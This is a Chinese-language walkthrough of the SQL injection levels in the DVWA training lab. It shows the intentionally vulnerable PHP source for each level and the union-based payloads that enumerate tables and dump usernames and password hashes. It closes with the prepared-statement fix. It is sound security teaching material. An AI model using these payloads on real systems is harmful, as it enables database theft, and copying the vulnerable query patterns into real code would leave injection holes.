DVWA靶場通關----(7) SQL Injection教程


SQL Injection(SQL注入)

SQL Injection(SQL注入),是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的,常常會導致整個數據庫被“脫褲”,盡管如此,SQL注入仍是現在最常見的Web漏洞之一。

SQL注入流程

拿到一個查詢條件的web網頁,就需要對輸入框做以下的事情

1.判斷是否存在注入,注入是字符型還是數字型

2.猜解SQL查詢語句中的字段數

3.確定顯示的字段順序

4.獲取當前數據庫

5.獲取數據庫中的表

6.獲取表中的字段名

7.下載數據

SQL Injection主題:

 

Low

源碼解析

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
//獲取ID字段
    $id = $_REQUEST[ 'id' ];

    // Check database
//拼接SQL語句並查詢
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

漏洞復現

(1)首先找到注入點,判斷注入的類型

1
1\
1' #

 (2)使用二分法判斷字段(order by   5,3,2),最終判斷存在2個字段

1' order by 5 #
1' order by 3 #
1' order by 2 #

 (3)顯示報錯位

1' union select 1,2 #

 (4)查找庫名

1' union select 1,database() #

 (5)查找當前數據庫中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 (6)查找表users中的字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 (7)查找數據

1' union select group_concat(user),group_concat(password) from users #

 

Medium

源碼解析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

//user中x00,n,r,,’,”,x1a轉義,防SQL注入
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

// Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>

漏洞復現

  GET提交方式改成了POST提交方式,還使用了轉義預防SQL注入。

(1)判斷注入點,判斷注入類型

1
1 \
1 #

 (2)使用二分法判斷字段(order by   5,3,2),最終判斷存在2個字段

1 order by 5 #
1 order by 3 #
1 order by 2 #

(3)顯示報錯位

1 union select 1,2 #

 (4)查找庫名

1 union select 1,database() #

 (5)查找當前數據庫中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 (6)查找表users中的字段

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 (7)查找數據

1 union select group_concat(user),group_concat(password) from users #

 

High

源碼解析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
//【select * from tableName limit i,n 】
tableName : 為數據表;
i : 為查詢結果的索引值(默認從0開始);
n : 為查詢結果返回的數量
查詢第一條數據
select * from student limit 1
查詢第二條數據
select * from student limit 1,1
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

漏洞復現

  high 級別使用了session 獲取id 值,閉合方式單引號閉合。

(1)代碼與LOW級別的都一樣

1' union select group_concat(user),group_concat(password) from users #

 

Impossible

源碼解析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

漏洞復現

  CSRF、檢測 id 是否是數字。  prepare 預編譯語句的優勢在於歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止 SQL 注入。


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